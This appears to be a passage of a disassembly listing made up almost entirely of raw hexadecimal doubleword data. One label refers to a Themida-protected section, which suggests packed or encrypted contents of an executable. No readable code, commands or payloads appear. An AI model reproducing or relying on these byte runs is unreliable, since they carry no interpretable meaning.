		dd 74A316BBh, 379FFC6Ah, 0DCA4EC84h, 0F1E7F0D6h, 0ADDC0451h
		dd 0EAA3A1A7h, 0AFD757EBh, 0D13E9A67h, 0BEAE5CBh, 39D1F958h
		dd 743C040Ah, 0BEB886Eh, 0FFBE1558h, 0D7E21139h, 0EBCE07FFh
		dd 0FD4FE73Fh, 5905B620h, 0B70DF4Dh, 5E6DDCE5h,	652D750Dh
		dd 0D17D3E98h, 0D7064A79h, 6D5DFFB9h, 44916745h, 6A543890h
		dd 9D45Ch, 0D7E8F400h, 922BA885h, 4C6F6340h, 1B81DFAh
		dd 0B805D2AFh, 258B2D66h, 0DCB90BB2h, 9572C4F5h, 4D2A7C43h
		dd 0D4E03289h, 0F660464Ch, 7974580Bh, 0B4401712h, 59254D23h
		dd 9E1F050Bh, 0B3351F2h, 9D394473h, 46107F5Fh, 90287088h
		dd 0BCFFD7E4h, 183A9E10h, 77C9F2E4h, 0B906D29Fh, 1A86B50Dh
		dd 0FEEDA24Bh, 11AB3h, 4A17CA00h, 0ECE73489h, 9ECD25D1h
		dd 0CC784393h, 52A417BFh, 10580876h, 0E539770Ah, 11BDE557h
		dd 618E9CBh, 0B0D2F458h, 0D9BC4A1Bh, 3BB4F8h, 13CB0000h
		dd 0E9B1F9A5h, 0D403BC1Ch, 0E502CD90h, 874C1957h, 0B01F3177h
		dd 0A63E69E6h, 1FCBF377h, 61EF7D9h, 642C0258h, 61F785Eh
		dd 35648C58h, 392CA7E3h, 0C5F8D9BBh, 9Ah, 0F7C412DCh, 10C0D8AFh
		dd 0A83518A1h, 0D5020F79h, 0A72F3CE8h, 7B5B6814h, 0DCD8EE40h
		dd 8551F224h, 3C186A51h, 12DA22CEh, 7E2A9145h, 1AB3F726h
		dd 8457E7DAh, 844C145Ch, 9B8987Eh, 0AB12558h, 1840065Eh
		dd 0C4F9DEE9h, 0A8C39A72h, 8E5A3916h, 3B9CA7D6h, 905EA482h
		dd 0B19B3EA7h, 8A0A3h, 0BB42800h, 0C6F7DCB9h, 803B9774h
		dd 3584512Eh, 0ECD106E3h, 5957619Ah, 10ED3F7Eh,	0C9A6F8C1h
		dd 815EB00Fh, 8146655h,	0F7947A80h, 0ADA8580Bh,	0F8C51246h
		dd 0AE0DC9A6h, 0C412A35Ch, 983E4BF7h, 65F3D123h, 2B000002h
		dd 9844795Eh, 132A1140h, 0ABB1F9A5h, 57EBEA53h,	2167133Bh
		dd 580BEB3Fh, 0FFAB14C4h, 2DD9E6F2h, 951436D8h,	0F5EEACCEh
		dd 0F8D3EE70h, 2178Eh, 0E0D9A500h, 8451F1E7h, 1C226A16h
		dd 57EBEADCh, 67347CA4h, 1DFA4C6Fh, 4E5602B9h, 3C6B5281h
		dd 0D41CC432h, 0FF379FCEh, 74DCB35Dh, 0DD7735D4h, 19F67AA9h
		dd 0FA52FEBDh, 1C6ACB2h, 0B2DA5E20h, 0DCD03C1Ah, 533D3890h
		dd 7DC45h, 0CFF0EC00h, 8A33A07Dh, 44775B38h, 0F9C015F2h
		dd 0B00DCAA7h, 1D93255Eh, 0D4B103BAh, 8D6ABCFDh, 4522744Bh
		dd 0CCD82A91h, 0F8583E44h, 716C580Bh, 0F7C4120Ah, 5D76434Bh
		dd 2D5CB460h, 0BF07B422h, 0ACDBE0F2h, 0EBB8D042h, 1825D1ECh
		dd 206800B9h, 0F1E8341Ah, 0F1204851h, 8D49E39Fh, 0C79EDC2Eh
		dd 97FEEDF1h, 0F3E3C9CFh, 0CFF751F1h, 15A3AA0h,	12510000h
		dd 3E4BF7C4h, 0F9D12398h, 765FA52Ch, 727CAB43h,	0E145C04h
		dd 57E5397Bh, 0B3999F67h, 0C7580618h, 0FEC709Fh, 0B15DF5C8h
		dd 619896Bh, 0F4C90E58h, 209B3B48h, 0FC9E0274h,	1961474Dh
		dd 4D755806h, 8ECCEEB5h, 0D9BC5015h, 44AEF8h, 13C50000h
		dd 0ABB1F9A5h, 57E502E8h, 3A4C5D34h, 258A8B15h,	9E4A72F6h
		dd 6517658h, 21DBFB58h,	0F37A79AFh, 6B17AF8Fh, 9B47745Eh
		dd 47A78D93h, 93BB5806h, 0D8D979DDh, 3853EF11h,	0F8D9922Dh
		dd 0B9D1h, 0C412E800h, 993E4BF7h, 0A57626Fh, 0AC58F0CDh
		dd 0BE01D7A4h, 808BBA12h, 2595A656h, 0B311EF6Eh, 74626F1Bh
		dd 0D3DFF547h, 9C51F251h, 532F813Ah, 0EBF139E5h, 57E82752h
		dd 0C6F9DFBCh, 0F2C90D1Ah, 956EE46h, 0E56EECDh,	0DF279641h
		dd 72B1117h, 173F580Ah,	0DCFBD8E8h, 967AB522h, 73AE2D75h
		dd 1458AF31h, 16F48C49h, 3EA65100h, 66293721h, 62000006h
		dd 16F3457Ah, 0D1AE00BDh, 8B68BA01h, 401D6F4Ah,	9BD42697h
		dd 7944931Dh, 32874A27h, 0EAD503E0h, 0A01BBB98h, 0B4BA424Eh
		dd 580BF9CEh, 1280E7E2h, 0C9A6F8C5h, 12F8FE0Dh,	9F51F1E8h
		dd 0E2BF8538h, 972FC7F4h, 0C4128C45h, 983E4BF7h, 1DF3D123h
		dd 4A000000h, 4638C412h, 2C2A1F06h, 697622BAh, 2CA24E6Dh
		dd 64728AC8h, 1B270557h, 7E000000h, 45674017h, 0C647FE00h
		dd 714A8C97h, 829C7FC5h, 62A51F2h, 9526B044h, 0C4128A43h
		dd 0D13F4BF7h, 501DE52Dh, 7C893586h, 5CB46059h,	0F55195C4h
		dd 6357EBEAh, 0EBAF959Bh, 3B41580Bh, 580BEC55h,	537B4169h
		dd 3078A024h, 487363h, 0EE1DA033h, 0E6D501DEh, 0BB02D19Eh
		dd 1E88B70Fh, 0B4FCA412h, 89E1B8DDh, 2C79E05Fh,	0DFE514A5h
		dd 6AA38D9h, 529AC25Eh,	0A1B0B38Ah, 7925983Bh, 5CDCCA21h
		dd 13A62F7Ch, 0D5E00F67h, 9068BA01h, 7BAA15C3h,	33A06670h
		dd 0E2AAF28Ah, 26A3F6DCh, 0B3E20A5Eh, 1FCF3D49h, 0CC72D1D7h
		dd 40686419h, 7631BE62h, 7F8D7732h, 53Dh, 1C6E518Bh
		dd 0D729943Fh, 91E3D8FAh, 469821B4h, 0FD4F6E69h, 1BBCF4C4h
		dd 5E7350A2h, 0AC2C095Bh, 0F2E4C113h, 0E36B77C9h, 0BFAF7DDh
		dd 0A9100B58h, 0A5F7C412h, 373D05CDh, 51F1E851h, 0D1B73D65h
		dd 0E551F1E7h, 53838EBDh, 27AFBC68h, 1B8B46D5h,	266EF94Eh
		dd 0F2703A20h, 8E264E51h, 4E0C70E2h, 499B20B6h,	6CEE9A71h
		dd 0CC746C4Bh, 0BB67527Fh, 9DC83463h, 0C1FEED7Dh, 0AA28DEF4h
		dd 0E44A7911h, 74h, 0F9A513FBh,	0BB1CE9B1h, 9E1DB502h
		dd 54C02B6Fh, 0A6CE57E5h, 7847915Eh, 7C626830h,	90580636h
		dd 51293968h, 0C16D4E84h, 2BB1C69h, 8BCFFE56h, 580635A7h
		dd 9D56A630h, 467760D6h, 0ADEB429Ah, 7CF44BA9h,	0E0C56DE1h
		dd 14F143DBh, 0EBB3FBC4h, 5905BA1Eh, 67957B01h,	0D1A95806h
		dd 667E5CBh, 39D1F958h,	6805EBF1h, 0F1195806h, 464A58C2h
		dd 0A1000004h, 9542C412h, 0BF576273h, 3064BB13h, 0A0A411B8h
		dd 0F300AC44h, 761819E3h, 3CFCE2E8h, 0E81051F2h, 0D7850A91h
		dd 0C57B6DBAh, 0B34BE39Bh, 84399E6Bh, 415180D8h, 4492F765h
		dd 2673CB77h, 307810ADh, 0E5B4972Ah, 0AF280557h, 720A620Eh
		dd 939E80C6h, 0B5235806h, 85515E0Ah, 7C828A36h,	58069396h
		dd 82C82AAh, 7EA0674Ah,	419EC7DCh, 3F60F8D9h, 58000000h
		dd 0B6E02B81h, 8EBDA465h, 49A513A7h, 0F1E85D43h, 0B1497151h
		dd 3A06369h, 15EC57E5h,	0FE36ABFBh, 7F0332C5h, 0E08C31A2h
		dd 0FE44F088h, 5806821Ch, 4E450527h, 0F8D95817h, 0E9E7h
		dd 0C412FE00h, 907DD738h, 4AE2A8C2h, 7746919Eh,	0E2F6C3CBh
		dd 740CAD28h, 1F9C3A45h, 4B706673h, 6507E3F9h, 0AD7551F2h
		dd 0F264C1A7h, 7EADD551h, 6586373h, 0C14FAD29h,	0AC91A0F1h
		dd 7A519931h, 17E33806h, 0C5DCF632h, 483B7DD4h,	0A98DC8C6h
		dd 0C65E3842h, 0B3212D97h, 76438E5Bh, 0F2BF0AF0h, 5EF61E51h
		dd 106D1016h, 0D3FB57E6h, 8737A581h, 0BAA0773Fh, 698B8B56h
		dd 33B6FA29h, 815DFC47h, 93441159h, 0DCFBD82Ah,	735EAC2Ch
		dd 0AA429A46h, 0AF47765Dh, 92B859D1h, 0F806F038h, 2F5h
		dd 64B609D3h, 1F714C87h, 0D92B9042h, 8EE0D9FCh,	459726B1h
		dd 0D304AC0Ch, 16BB98EAh, 647451A3h, 0AA2C095Bh, 2BB3BF11h
		dd 0BFD3F25h, 0F1585358h, 0B0F8C512h, 0ACD411E8h, 8C7C1415h
		dd 0F2AB2006h, 0DD0C3451h, 0D5E6F0CDh, 0A513CA83h, 0F3DAB1F9h
		dd 0C4B5B02Fh, 0B2B8BEEDh, 57E51EEFh, 0A3E995BDh, 58061EC1h
		dd 0F3E8AACCh, 0F8D9BA72h, 0E78Ch, 0C412A300h, 0F3E2AFF7h
		dd 63FBC211h, 1ABDCA34h, 18EFF7A3h, 803F9EE6h, 0D2D82098h
		dd 51F22EECh, 65A9D800h, 51F23489h, 43292FF7h, 5751F234h
		dd 0E1F5002Fh, 5BB92DAh, 7EDF354h, 1B51F1FBh, 2FA49CF3h
		dd 28051544h, 59610DAEh, 4574458Ch, 0D921CD3Bh,	0E5F030D3h
		dd 4496BE57h, 85389F6Ch, 485281D9h, 9A8086DAh, 0AE5806CFh
		dd 0A0A6EE86h, 5DFBA37Ch, 0CF9CE40Ch, 8663B508h, 0E6EFBC51h
		dd 84674DD3h, 537B5E1Dh, 5A57DDBBh, 1C063893h, 1F00Eh
		dd 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh, 9C21B693h
		dd 9A7114Ah, 0C09DEFCEh, 7956A811h, 310E605Fh, 0B8C416A5h
		dd 0FE442A30h, 5D58580Bh, 48C512F6h, 0F1E85C42h, 487051h
		dd 0F1E814FAh, 68002851h, 70763E16h, 51F1E78Ah,	3C47769Eh
		dd 16CF219Ah, 34894A17h, 22CEF1E7h, 46909BCAh, 77602D75h
		dd 0A0AD1746h, 56338536h, 838F3B80h, 1B216915h,	57E50830h
		dd 156A163Eh, 0BF1F7BFh, 1F580608h, 0D476C8F7h,	0B305B620h
		dd 0F6C30EDBh, 0B9C3F24Ah, 935BA34Bh, 0DDF90BC6h, 42DA32DEh
		dd 0DD3E7F96h, 27B089C7h, 0F91C608Fh, 55DF964h,	4551373Dh
		dd 3D655E1Ah, 4509EFF5h, 0F51D5E1Ah, 6E1A42C6h,	0FE467561h
		dd 454A3036h, 365E5E1Ah, 0C3279D07h, 0A0006E87h, 36BCFFD3h
		dd 5E1A4550h, 1C7F6DDh,	0A58B91D9h, 0B95E1A44h,	0ABB1F991h
		dd 640D9188h, 0BF9CEE16h, 0EBF8A417h, 0BD8AD2EDh, 8EEF41Bh
		dd 1C642E72h, 0C32D5CF4h, 0F19D22B6h, 1DC9F2E4h, 42A7E307h
		dd 0B54F0BADh, 6C489A21h, 0B69CA2FEh, 0CA642E71h, 39D1E8EDh
		dd 685359A1h, 766A2192h, 0A2D1498Fh, 0D6308734h, 0AB64E54h
		dd 8E862B02h, 7C769367h, 9AC9615Ah, 0C874478Fh,	7CB1D173h
		dd 141A620Eh, 70351929h, 0DE5D5037h, 3A496606h,	8C925AA2h
		dd 70567FA6h, 536392BAh, 9623AE7Bh, 80EF5D67h, 7A594488h
		dd 165EF647h, 508C6310h, 21CDF576h, 0A7F9C214h,	0DCFA0CCAh
		dd 559B47DFh, 8E249B78h, 3C95627Ah, 4A79D17Dh, 34A25AF8h
		dd 7E583587h, 5184913Dh, 95492068h, 78997471h, 0D5BBC109h
		dd 0E9AE446Fh, 0D32892C1h, 0FBDB1131h, 0A5A178C0h, 77448E16h
		dd 0DF1C73CBh, 0A0B0DF15h, 0E2DDFBC8h, 0A4AFDE36h, 0CFDD8932h
		dd 0Dh,	965EE426h, 0F1E7AA90h, 6796BE51h, 0F5CA1280h, 219A3C49h
		dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch
		dd 33884A57h, 64597A87h, 545333B8h, 4C3815Bh, 83000000h
		dd 1C8704EBh, 72685C24h, 89000030h, 0ED682404h,	89000067h
		dd 1AB8242Ch, 2D4E743Bh, 77AD6F96h, 5A34902Dh, 51D8F706h
		dd 0B05030B9h, 7E18137h, 0C10A353Fh, 0F18104E9h, 74CA151Bh
		dd 4B9AE981h, 0C18157E4h, 46AB636h, 3559C831h, 2C223986h
		dd 0C42A0F2Dh, 2C8B541Ch, 4C48324h, 8BA52h, 0EA010000h
		dd 5A028F50h, 51242C8Bh, 0C181E189h, 4,	8704C183h, 0FF5C240Ch
		dd 81582434h, 4C4h, 64B1E900h, 0B805FFFAh, 61A18DBh, 0E0FFC503h
		dd 672C4719h, 3A1F4CA8h, 75660534h, 36420B5Eh, 43B539AAh
		dd 2A2348BFh, 4E898492h, 607EF05Fh, 6CE16E0h, 7DEB4891h
		dd 533F6E22h, 5562237Ch, 59ABB19Ch, 782B67EAh, 7B6EAB1Ch
		dd 6796E4E9h, 3E4FB4E0h, 272F62BBh, 6F0A58D2h, 1C7C85EAh
		dd 71F145F2h, 1EC9F837h, 6345EF91h, 4E30034Fh, 7BAD894Fh
		dd 760C5B9Dh, 231F7383h, 44ADC527h, 0CE8h, 2787EF00h, 0EE0C6812h
		dd 56FCBB8Ah, 79ACB9EDh, 665B5A88h, 2B22C181h, 5D3EC381h
		dd 0CE90000h, 0A0000000h, 0C2EC8531h, 5E89394Bh, 68C37765h
		dd 1722h, 605F5851h, 5A585050h,	0CE8h, 403A6C00h, 957F52E4h
		dd 0F83CB7E0h, 0FF615B9Eh, 66C28133h, 5E010AC4h, 14E952h
		dd 0C45C0000h, 47FF1DAAh, 567EF4AEh, 0A55A762Fh, 0D05BC954h
		dd 81586A67h, 31258C6h,	81E38A14h, 0D71859C6h, 1CF68134h
		dd 0E9666FB8h, 0Bh, 0E54E7318h,	0A14268E8h, 8942106Ah
		dd 0C9816633h, 0EB83AD33h, 6820F04h, 81000000h,	690EBFE0h
		dd 1EF830Eh, 0FF99850Fh
		db 2 dup(0FFh),	0B8h
byte_5AA683	db 22h			; DATA XREF: Themida_:0054A1D0o
		dd 0E9731D73h, 0A6h, 2DDE3979h,	0BAF5CC47h, 66D138F3h
		dd 9FABAFD6h, 7C4DB297h, 95B7E3h, 0E9A9E572h, 9BB69CB5h
		dd 0B6F37760h, 9EB794A9h, 7D60D760h, 9EA9BD89h,	729EBD8Ch
		dd 4A95ACE3h, 9BB98B20h, 9D89937Eh, 0AFF496B9h,	94A19E96h
		dd 91A7D6B5h, 48D100FDh, 33594ACCh, 5200713Ch, 0F357DB4Dh
		dd 0EFB6005Eh, 0BD899DBBh, 9F899500h, 97BBEFB6h, 0B1B6D000h
		dd 527155C3h, 0DA43700h, 910D3C2h, 0Eh,	9 dup(0)
		dd 6BE90000h, 6800000Fh, 61A1D10h, 0FA62BEE9h, 1E2368FFh
		dd 0B4E9061Ah, 68FFFA62h, 61A1EDEh, 0FA62AAE9h,	201168FFh
		dd 0A0E9061Ah, 68FFFA62h, 61A20A6h, 0FA6296E9h,	216568FFh
		dd 8CE9061Ah, 68FFFA62h, 61A2207h, 0FA6282E9h, 22A168FFh
		dd 78E9061Ah, 68FFFA62h, 61A2330h, 0FA626EE9h, 23F268FFh
		dd 64E9061Ah, 68FFFA62h, 61A24B0h, 0FA625AE9h, 260F68FFh
		dd 50E9061Ah, 68FFFA62h, 61A2845h, 0FA6246E9h, 296D68FFh
		dd 3CE9061Ah, 0F6FFFA62h, 0AA87D9E6h, 65429429h, 1FFC4E6Dh
		dd 0D4B103B6h, 2F68BA03h, 0DB02789h, 0C6F3DEBBh, 7E419774h
		dd 34874F2Ch, 484ED6E2h, 580C0362h, 28F57B76h, 0F9E00FB0h
		dd 0AFF7C412h, 5CBD9BD8h, 154497A4h, 83389EABh,	8B915931h
		dd 51F235A5h, 586291B9h, 36FE46EAh, 0CA506F69h,	51F235E4h
		dd 9BA1D0F8h, 0E5870295h, 9C487057h, 6667456h, 0E1A97F58h
		dd 665F5DBh, 99E10958h,	665AD93h, 6A99C158h, 4617A18h
		dd 0FAF8D970h, 46h, 0F9A51311h,	0C9F2E4B1h, 0CB8E949Ah
		dd 9957E502h, 0F0BDC571h, 0D52DD9E2h, 38062A6h,	698B5806h
		dd 66411829h, 1C6003B4h, 4F587181h, 297E89F8h, 44D78EFAh
		dd 0BA27F8D9h, 1F000000h, 0A16B5157h, 577F5806h, 0C4124128h
		dd 993E4BF7h, 6B6B7824h, 3F97A450h, 6B67347Ch, 0FB112150h
		dd 51F1ED1Eh, 1C6E4D89h, 0C265973Fh, 6F959FEEh,	0DBE7932Bh
		dd 7379C16Dh, 57E54438h, 946CBEE6h, 7FAE11C7h, 0F570775h
		dd 0FB1BDD09h, 0FD456D5Dh, 0C416A730h, 0EFCDF0E7h, 3893FA79h
		dd 454624Ch, 2200000Dh,	0D6B305BAh, 916EC0FDh, 4B287A41h
		dd 0DD2F8Ah, 5B94E6D7h,	3984535Dh, 0F2C70AE7h, 0AA15C3A0h
		dd 605B7B58h, 747A020Eh, 580C048Eh, 1240A7A2h, 0E3B0F8C5h
		dd 8E9ECDF0h, 8D1DFB6h,	0F39F1CBAh, 0CDF7449Bh,	0B91D2857h
		dd 0ECF2BA02h, 51F28A06h, 0B3C3F21Ah, 8D4A17FAh, 0B864577Bh
		dd 0C41CC860h, 711D8B95h, 3602329h, 62E57E5h, 0AF0F6BEh
		dd 1E580603h, 175DC7F6h, 58060335h, 677C1E40h, 0F8D9D6FEh
		dd 0D700h, 4F171700h, 0F1E86349h, 0AAA4E651h, 8CED347Dh
		dd 646F9EC6h, 909D4972h, 84CA7647h, 51F226A7h, 0A5F7C412h
		dd 1AD0EC8h, 8FD787F5h,	0E5404E89h, 82D4FC57h, 36C938A6h
		dd 73FAD3DFh, 0E84EEABh, 293E8BB7h, 0C1F5DBE1h,	0E1095806h
		dd 62390149h, 0B5771DAAh, 78BCEBDCh, 5DFB5F5Dh,	935BA3CBh
		dd 76DBF5BCh, 0B775987Ch, 0AC92E9CFh, 20D3C05h,	0B996E8D5h
		dd 3E9EF1Eh, 175E1DCDh,	0F97957EFh, 0E0389328h,	0BF1E8F6h
		dd 0A7350000h, 0EAE9C618h, 2EA481D3h, 775E3B8Dh, 0C413F042h
		dd 4A6EA7F9h, 0FA4C7166h, 0B305B41Dh, 6BBD02D6h, 2173488Eh
		dd 0A1878D15h, 0B5580C05h, 0C51253BAh, 1CEA6F8h, 0B1BCEBD2h
		dd 0FAE0E625h, 0E51F1E7h, 0E84A3036h, 365E51F1h, 0FBB4069Eh
		dd 0AE38C412h, 388751A5h, 2AE841E1h, 0C6410ADh,	2330DC74h
		dd 0D9B608B3h, 916C2F9h, 7E9CEECDh, 660A7827h, 49CD181Eh
		dd 739B57E5h, 9B9B7ED2h, 0B523AF8Fh, 84BBC109h,	3A55839Dh
		dd 0EC5A6612h, 0C1C7428Fh, 55A49DDBh, 832FC7EFh, 454B932Bh
		dd 5B991F78h, 57666D4Ah, 2CAA77BFh, 76603D8Fh, 0D7156745h
		dd 0EED83AF4h, 0B36E0h,	0D3ECF000h, 8E2FA481h, 48735F3Ch
		dd 0FDBC19F6h, 0B409CEABh, 218F2962h, 0D8B507B6h, 916EC0F9h
		dd 49267847h, 0D0DC2E8Dh, 65C4248h, 7570580Ch, 42C4120Eh
		dd 727F2B90h, 26BE5663h, 50006E7Ah, 15C30208h, 9C7957E5h
		dd 0A6EE8637h, 0F5F2D8DEh, 2E065805h, 5F64228h,	962E5658h
		dd 0D7B5767h, 0A4131961h, 0BA5DF940h, 0BEA0E692h, 0C95E1A21h
		dd 75F0EBA7h, 0E9F2C5B7h, 0D605B61Ch, 5570h, 0A5138700h
		dd 40ABB1F9h, 4E57E554h, 0C711DE26h, 0F5E3B0F8h, 0C5111ECAh
		dd 1F2F5EF6h, 6352509h,	0EBE6B358h, 51FDBC19h, 5DB561F9h
		dd 49F5C610h, 1FB7C2F1h, 4E87549Ch, 1A67BF6Bh, 5804B9h
		dd 0F4E4C1D1h, 22B683CBh, 0F6046E9Dh, 0A67h, 4574612Eh
		dd 0A5132F16h, 0A7ABB1F9h, 0F757EB02h, 333191Fh, 6F47580Ch
		dd 0C038369h, 0D76F9758h, 0AC2AF73Fh, 0F6E0BD0Fh, 27B07DC5h
		dd 6392EA96h, 1A7FEDF9h, 1F67FFBCh, 51E8619h, 84CCF45Eh
		dd 6C9B1EB7h, 7E3D9966h, 34874F2Ch, 620E7C88h, 46B5141Ah
		dd 83AB6419h, 76CDE1A5h, 28362032h, 0A03h, 0B406B923h
		dd 6FC1FCD7h, 297B4092h, 0DE30894Ch, 95E7D601h,	83545C5Ch
		dd 0C60BE83Ah, 14C4A1F3h, 5A7C59ABh, 7B030F61h,	0C078F75h
		dd 41A8A358h, 0F1E7F7D9h, 5F0F7D51h, 808D4A17h,	0F1E7947Ah
		dd 0E880A851h, 0AFB5E43Ch, 0EB02FEA9h, 25330A57h, 0F9AFC4B6h
		dd 244CD0FFh, 0F4C70FDCh, 3EF3CAA2h, 3BE0AFE8h,	0D0061140h
		dd 0FFD6A3EBh, 69B60EBAh, 0B721506Fh, 49913DABh, 92957B81h
		dd 81A9580Ch, 7464C52h,	0BD5DFFC1h, 53D9B795h, 523C3890h
		dd 96E44h, 9B24B800h, 56676C49h, 10AB2704h, 0C5F4E1BEh
		dd 7C419673h, 0E9C7F12Ah, 0A07DCFEEh, 59368831h, 11EE407Fh
		dd 98A4F6C5h, 8240A10h,	3D38580Ch, 0F7C412D6h, 23983E4Bh
		dd 44C90EDBh, 0F1E8583Eh, 0AC446C51h, 0E7FB137Dh, 0EE3530ABh
		dd 44C9FEEDh, 0E0000004h, 2F8C4A17h, 0D888F600h, 0FF9AB990h
		dd 0AA620A57h, 0C86F757Bh, 5E57EB3Fh, 0B521EE36h, 0FFD7B406h
		dd 56EED107h, 6795410Eh, 8E6D90Fh, 0E110A85Fh, 784F3177h
		dd 67D5580Ch, 4986FB7h,	6578DD50h, 0BD3D908h, 0AD573D43h
		dd 846B580Ch, 0C616BAF5h, 0F542DA5Fh, 0D72FDBE2h, 0A22564A8h
		dd 0B3DB5DFFh, 9072C5D5h, 6C7A6438h, 8AFh, 85A6577h, 0C315A82Bh
		dd 7DCFECE6h, 328435A0h, 0E93B8255h, 2FA808B0h,	725F3C8Eh
		dd 0C018F547h, 6D0ADFFh, 0CF5763B5h, 0C08E3C9h,	95FCF758h
		dd 0E9BA4017h, 0FE4C5E4Bh, 0EA12C4CFh, 8D500773h, 0BC81550h
		dd 616E1AB2h, 829A4675h, 501D2C6Eh, 30883485h, 0DED09501h
		dd 782EFEEDh, 45000003h, 0F1E7F7D9h, 5F0F7D51h,	318E4A17h
		dd 9F6FC02h, 1B57EB03h,	0F8DEABF3h, 429471C3h, 2DDC3C9h
		dd 0C9F1580Ch, 0B798531h, 0E9952AAEh, 0ABB1F991h, 5DFF306Ch
		dd 881CFA22h, 0B53890E5h, 80DBDCBh, 0C3190000h,	6CDAAFCh
		dd 4A8865B7h, 93421F71h, 0E0F7D426h, 66528BDDh,	0DE308D4Ah
		dd 97E9D001h, 4FA11EBAh, 5576472h, 856B71F9h, 99580C0Ah
		dd 0C412379Eh, 942C9142h, 0C0FBDBE8h, 0AAE8FC14h, 0EDEE3431h
		dd 2EDCAFEh, 0FAC20000h, 0F1F00EF4h, 0CBFA2251h, 0E7E1D9E4h
		dd 158351F1h, 351B2169h, 4957EB03h, 3856B71h, 8B08580Ch
		dd 47D56C4Dh, 0EF87AF75h, 0BFFCDAA7h, 7546906Dh, 0EF4FBDC9h
		dd 0C8403E9h, 57EF1758h, 0CFDA090Fh, 48705DFFh,	9046446Ah
		dd 15230D38h, 773h, 449629B3h, 0FF516C67h, 0B90BB022h
		dd 6EC0F9DCh, 25774691h, 0F3E4CCECh, 369B78CAh,	84543183h
		dd 0CA0CE93Bh, 0B939FF1h, 0C0A1F05h, 0D1383358h, 4BF7C412h
		dd 7723983Eh, 4BE1A105h, 0A0DE308Bh, 0FEEDF1C5h, 0B607CC99h
		dd 1D83B20Ah, 7, 2451134h, 0D9680000h, 51F1E7E1h, 21691583h
		dd 0EB031E1Bh, 0E0285057h, 34874B18h, 0DFDCFA05h, 9526B08Dh
		dd 0BF6FDDE9h, 4E427177h, 0FBD85DFFh, 6E4CE4D7h, 3890C74Ah
		dd 0E423311Bh, 42000006h, 0F6D3259Ah, 0B18EE0DDh, 6B489A21h
		dd 20FD4F6Ah, 7BB406B7h, 5964733Dh, 12A72A07h, 0CAF5E3C0h
		dd 803B9B78h, 949A222Eh, 580C0AAEh, 1260C7C2h, 0D8AFF7C4h
		dd 0DE9F52C6h, 4DB7E633h, 6F759640h, 51F29889h,	31DD759Dh
		dd 53F5BBFh, 5A98EAD1h,	0FEED410Bh, 6D528653h, 9B24B4C1h
		dd 76ED403h, 85000000h,	1A211h,	0E0D96800h, 8451F1E7h
		dd 1C226A16h, 57EB0328h, 1BE83058h, 0FE5602BDh,	3901C9CFh
		dd 0C034D33h, 0C2F7DA58h, 9AA5D4FCh, 6A377F3Ch,	1222516Eh
		dd 57666D3Ah, 192453ABh, 4652FEBDh, 13E028D8h, 0F54DF9C4h
		dd 8BBAC0C6h, 215DFF4Eh, 0C7A71BF9h, 0E8D23890h, 622DAh
		dd 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah, 0C8F5E2BFh
		dd 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h, 0E4F04279h
		dd 0B70565Ch, 8984580Ch, 0F7C41222h, 64983E4Bh,	1EE76206h
		dd 721EB646h, 46FE9C00h, 5A5F7690h, 0CB9870C2h,	1884B306h
		dd 0FEEDD04Dh, 1CB1h, 0D9D2A900h, 7B4494C0h, 6F2077CFh
		dd 4E20772Ch, 7E3A974Dh, 11A48BBAh, 0D7h, 0E7E0D968h, 168451F1h
		dd 9E4B226Ah, 72477F25h, 22282E5Dh, 57EBD416h, 1FF63E66h
		dd 6D1117Eh, 77DF60B7h,	65323867h, 1BF84A71h, 328D4BBBh
		dd 0EA962E86h, 78C070DEh, 274372h, 0D3B1D95Eh, 388FEDF9h
		dd 649CAA94h, 0C2000005h, 7653A51Ah, 310E605Dh,	0EBC81AA1h
		dd 0A07DCFEAh, 0FB348637h, 0D9E4F3BDh, 9227AA87h, 4A756340h
		dd 0BB1BF8h, 141AA2AEh,	580C0C2Eh, 17E04742h, 63268240h
		dd 1342F0A2h, 41EDCE08h, 6E64A234h, 9709B54Dh, 0F9DD1733h
		dd 333270C2h, 0CBFEEDA3h, 7, 3111E2h, 12680000h, 3E4BF7C4h
		dd 6A772398h, 97A4506Dh, 0CBD37F3Ah, 0F1E7DFC5h, 19CBF351h
		dd 5E1495B5h, 5D5C7946h, 0D82A59B1h, 675482BAh,	243715h
		dd 128E0000h, 5B4147C4h, 6F51F1E8h, 0FB03AF47h,	0E918A52Eh
		dd 0F1E7C2A5h, 6E2C5051h, 69BB00D6h, 0AC0DC491h, 0C412967Dh
		dd 5B8B9038h, 31EE4578h, 0A11ABC7Eh, 0B8059DF5h, 58049C1Dh
		dd 0D073DE4Ch, 0F572119Eh, 0C18ED66Eh, 757BAA11h, 0EB8C6B6Fh
		dd 0DDE3BB57h, 580C8CF7h, 4296E30Bh, 0E179D17Dh, 0E5CBD199h
		dd 0F9580C8Ch, 0D49CA2D1h, 0BDECCF07h, 0F3E224B2h, 4DC2EC6h
		dd 0F01F9A37h, 0D90BF1E5h, 0B8AB3841h, 0A8407D56h, 4F745A60h
		dd 6088580Ch, 0A2101CC8h, 1DB0B6FEh, 95E056Ah, 69553B41h
		dd 41695E26h, 1E668E12h, 0E4368551h, 40ECCF07h,	0D21AC634h
		dd 563C420Ah, 0E35E2669h, 0C921CDF0h, 68ACDB03h, 64199209h
		dd 0DDF9D7FFh, 0C4327683h, 405CCDAh, 0BB210000h, 0FED5B204h
		dd 42906DBFh, 8B4A2779h, 0D8FFDC2Eh, 5E5A93E5h,	0E6388552h
		dd 9FF1C809h, 57A916C2h, 0D5F5C7Ah, 8D737901h, 0A1580C0Dh
		dd 0C4123FA6h, 0EC8A5F7h, 2CF901ADh, 0D9E413ACh, 0A012BEFDh
		dd 0F0E61E3Ch, 34894E1Bh, 0C4AA3088h, 0D851F1E7h, 0EEC618B0h
		dd 0DC0BB221h, 0EDF1F570h, 3109FEh, 13200000h, 0E9B1F9A5h
		dd 5056B71Ch, 51F1E86Ah, 8FBE567Eh, 0E554E04Bh,	7EC6EE57h
		dd 469827B1h, 6364C30h,	0BA01D558h, 724D8B68h, 371B8C6h
		dd 130F0000h, 0E9B1F9A5h, 5905B61Ch, 0CDB3B901h, 0E151F1E7h
		dd 0CF468AB9h, 557E5E9h, 5C2931DDh, 8C994576h, 91DE7647h
		dd 3C477645h, 0FF75219Ah, 33191FE7h, 475805E9h,	0FC9EF01Fh
